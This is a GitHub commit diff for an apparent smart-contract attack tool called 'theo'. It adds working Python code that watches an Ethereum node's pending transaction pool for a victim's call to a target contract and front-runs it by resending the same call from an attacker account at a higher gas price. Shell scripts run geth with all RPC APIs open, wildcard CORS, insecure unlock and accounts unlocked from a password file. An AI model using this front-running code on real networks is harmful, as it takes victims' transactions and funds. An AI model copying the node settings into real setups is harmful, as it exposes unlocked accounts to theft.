-
Notifications
You must be signed in to change notification settings - Fork 95
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
7fe805c
commit 2733d51
Showing
11 changed files
with
161 additions
and
138 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,3 @@ | ||
#!/bin/bash | ||
|
||
geth --datadir=./ init genesis.json | ||
./geth.bin --datadir=./ init genesis.json |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,3 @@ | ||
#!/bin/bash | ||
|
||
geth --datadir=./ --rpc --rpcapi="eth,net,rpc,web3,txpool,personal,debug" --rpccorsdomain='*' --allow-insecure-unlock --unlock "0x90f8bf6a479f320ead074411a4b0e7944ea8c9c1,0xffcf8fdee72ac11b5c542428b35eef5769c409f0,0x1df62f291b2e969fb0849d99d9ce41e2f137006e,0x22d491bde2303f2f43325b2108d26f1eaba1e32b,0xe11ba2b4d45eaed5996cd0823791e0c93114882d" --password ./account-password.txt console | ||
./geth.bin --datadir=./ --rpc --rpcapi="eth,net,rpc,web3,txpool,personal,debug" --rpccorsdomain='*' --allow-insecure-unlock --unlock "0x90f8bf6a479f320ead074411a4b0e7944ea8c9c1,0xffcf8fdee72ac11b5c542428b35eef5769c409f0,0x1df62f291b2e969fb0849d99d9ce41e2f137006e,0x22d491bde2303f2f43325b2108d26f1eaba1e32b,0xe11ba2b4d45eaed5996cd0823791e0c93114882d" --password ./account-password.txt console |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
[ | ||
[ | ||
{ | ||
"input": "0x4e71e0c8", | ||
"value": "0xde0b6b3a7640000" | ||
}, | ||
{ | ||
"input": "0x2e64cec1", | ||
"value": "0x0" | ||
} | ||
] | ||
] |
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,68 @@ | ||
from web3 import Web3 | ||
import time | ||
|
||
|
||
class Exploit: | ||
def __init__(self, txs: list, rpc: str, contract: str, attacker: str): | ||
self.txs = txs | ||
self.w3 = Web3(Web3.HTTPProvider(rpc)) | ||
self.contract = contract | ||
self.attacker = attacker | ||
pass | ||
|
||
def __repr__(self): | ||
return "Exploit: (txs={})".format(self.txs) | ||
|
||
def frontrun(self): | ||
print("Waiting for a victim to reach into the honey jar.") | ||
|
||
# Wait for each tx and frontrun it. | ||
for tx in self.txs: | ||
victim_tx = self.wait_for(self.contract, tx) | ||
|
||
frontrun_tx = { | ||
"from": self.attacker, | ||
"to": self.contract, | ||
"gasPrice": hex(int(victim_tx["gasPrice"], 16) + 1), | ||
"input": victim_tx["input"], | ||
"gas": victim_tx["gas"], | ||
"value": victim_tx["value"], | ||
} | ||
|
||
print("Frontrunning with tx: {tx}".format(tx=frontrun_tx)) | ||
receipt = self.send_tx(frontrun_tx) | ||
print( | ||
"Mined transaction: {tx}".format(tx=(receipt["transactionHash"].hex())) | ||
) | ||
|
||
def send_tx(self, tx: dict) -> str: | ||
# Make sure the addresses are checksummed. | ||
tx["from"] = Web3.toChecksumAddress(tx["from"]) | ||
tx["to"] = Web3.toChecksumAddress(tx["to"]) | ||
|
||
tx_hash = self.w3.eth.sendTransaction(tx) | ||
tx_receipt = self.w3.eth.waitForTransactionReceipt(tx_hash, timeout=300) | ||
|
||
return tx_receipt | ||
|
||
def wait_for(self, contract, tx): | ||
print("Listening for {tx}.".format(tx=tx)) | ||
|
||
while True: | ||
time.sleep(1) | ||
pending_txs = self.w3.txpool.content["pending"] | ||
|
||
for k in pending_txs: | ||
pending_tx = pending_txs[k] | ||
|
||
for index in pending_tx: | ||
if (pending_tx[index]["to"] == contract) and ( | ||
pending_tx[index]["input"] == tx.tx_data["input"] | ||
): | ||
print( | ||
"Found pending tx: {tx} from: {sender}.".format( | ||
tx=pending_tx[index]["hash"], | ||
sender=pending_tx[index]["from"], | ||
) | ||
) | ||
return pending_tx[index] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
from web3 import Web3 | ||
|
||
|
||
class ExploitItem: | ||
def __init__(self, tx_data: dict, rpc: str): | ||
self.tx_data = tx_data | ||
self.w3 = Web3(Web3.HTTPProvider(rpc)) | ||
|
||
def __repr__(self): | ||
return "Transaction: {}".format(self.tx_data) | ||
|
||
def run(self): | ||
print("Running tx") | ||
pass |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
import json | ||
from theo.exploit.exploit import Exploit | ||
from theo.exploit.exploit_item import ExploitItem | ||
|
||
|
||
def load_file(file, rpc, contract, account): | ||
with open(file) as f: | ||
exploit_list = json.load(f) | ||
|
||
exploits = [] | ||
for exploit in exploit_list: | ||
txs = [] | ||
for tx in exploit: | ||
txs.append(ExploitItem({"input": tx["input"], "value": tx["value"]}, rpc)) | ||
|
||
exploits.append(Exploit(txs, rpc, contract, account)) | ||
|
||
return exploits |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,95 +1,80 @@ | ||
import argparse | ||
import psycopg2 | ||
import code | ||
import json | ||
from theo.server import Server | ||
from theo.scanner import find_exploits | ||
from theo.file import load_file | ||
|
||
|
||
def main(): | ||
parser = argparse.ArgumentParser( | ||
description="Monitor contracts for balance changes or tx pool." | ||
) | ||
|
||
# # Server | ||
# # TODO: listen to this and save them to the postgres database | ||
# server = parser.add_argument_group("Server") | ||
# server.add_argument( | ||
# "--server", | ||
# help="Start server and save new vulnerabilities in the database.", | ||
# metavar="", | ||
# ) | ||
# server.add_argument( | ||
# "--port", help="Port to listen on.", metavar="PORT_NUMBER", default=8080 | ||
# ) | ||
# server.add_argument( | ||
# "--host", help="Address to listen on.", metavar="IP_ADDRESS", default="0.0.0.0" | ||
# ) | ||
|
||
# # Postgres | ||
# # TODO: login to PostgreSQL | ||
# postgres = parser.add_argument_group("Postgres") | ||
# postgres.add_argument( | ||
# "--postgres", | ||
# help="Connect to this PostgreSQL database.", | ||
# metavar="postgresql://[email protected]/database?connect_timeout=10", | ||
# ) | ||
|
||
# # Monitor balance | ||
# # TODO: monitor contract balance | ||
# balance = parser.add_argument_group("Monitor balance") | ||
# balance.add_argument( | ||
# "--balance", help="Enable balance monitoring for the contracts", metavar="" | ||
# ) | ||
|
||
# Monitor tx pool | ||
# TODO: monitor tx pool | ||
tx_pool = parser.add_argument_group("Monitor transaction pool") | ||
tx_pool.add_argument("--rpc", help="", metavar="", default="http://127.0.0.1:8545") | ||
tx_pool.add_argument("--attacker", help="Frontrun transactions from this account") | ||
tx_pool.add_argument( | ||
"--rpc", help="Connect to this RPC", default="http://127.0.0.1:8545" | ||
) | ||
tx_pool.add_argument("--account", help="Use this account to send transactions from") | ||
|
||
# Address to monitor | ||
# Contract to monitor | ||
parser.add_argument( | ||
"--contract", help="Contract to monitor", type=str, metavar="ADDRESS" | ||
) | ||
|
||
# Transactions to frontrun | ||
tx_monitor = parser.add_argument_group("Transactions to wait for") | ||
tx_monitor.add_argument( | ||
"--txs", | ||
choices=["mythril", "file"], | ||
help="Choose between: mythril (find transactions automatically with mythril), file (use the transactions specified in a JSON file).", | ||
default="mythril", | ||
) | ||
tx_monitor.add_argument( | ||
"--txs-file", | ||
help="The file which contains the transactions to frontrun", | ||
metavar="FILE", | ||
) | ||
|
||
# Run mode | ||
parser.add_argument( | ||
"run_mode", | ||
# choices=["balance", "tx-pool", "server"], | ||
choices=["tx-pool"], | ||
help="Choose between: balance (monitor contract balance changes), tx-pool (if any transactions want to call methods) or server (save new vulnerabilities in the database).", | ||
help="Choose between: balance (not implemented: monitor contract balance changes), tx-pool (if any transactions want to call methods).", | ||
) | ||
|
||
args = parser.parse_args() | ||
# print(args.__dict__) | ||
|
||
# if args.run_mode == "server": | ||
# exec_server(args) | ||
if args.run_mode == "tx-pool": | ||
exec_tx_pool(args) | ||
|
||
|
||
# def exec_server(args): | ||
# print("Running server") | ||
# server = Server(args.host, args.port) | ||
# server.start() | ||
# print("Shutting down") | ||
|
||
|
||
def wait_for_exploit(exploit): | ||
print("Waiting for", exploit) | ||
|
||
|
||
def exec_tx_pool(args): | ||
|
||
# Find exploit. | ||
print("Scanning for exploits in contract: {contract}".format(contract=args.contract)) | ||
exploits = find_exploits(args.rpc, args.contract, args.attacker) | ||
# Transactions to frontrun | ||
if args.txs == "mythril": | ||
print( | ||
"Scanning for exploits in contract: {contract}".format( | ||
contract=args.contract | ||
) | ||
) | ||
exploits = find_exploits(args.rpc, args.contract, args.account) | ||
if args.txs == "file": | ||
exploits = load_file( | ||
file=args.txs_file, | ||
rpc=args.rpc, | ||
contract=args.contract, | ||
account=args.account, | ||
) | ||
|
||
if len(exploits) == 0: | ||
print("No exploits found") | ||
return | ||
|
||
print("Found exploit(s)", exploits) | ||
print("Found exploits(s)", exploits) | ||
|
||
# Start interface | ||
code.interact(local=locals()) | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters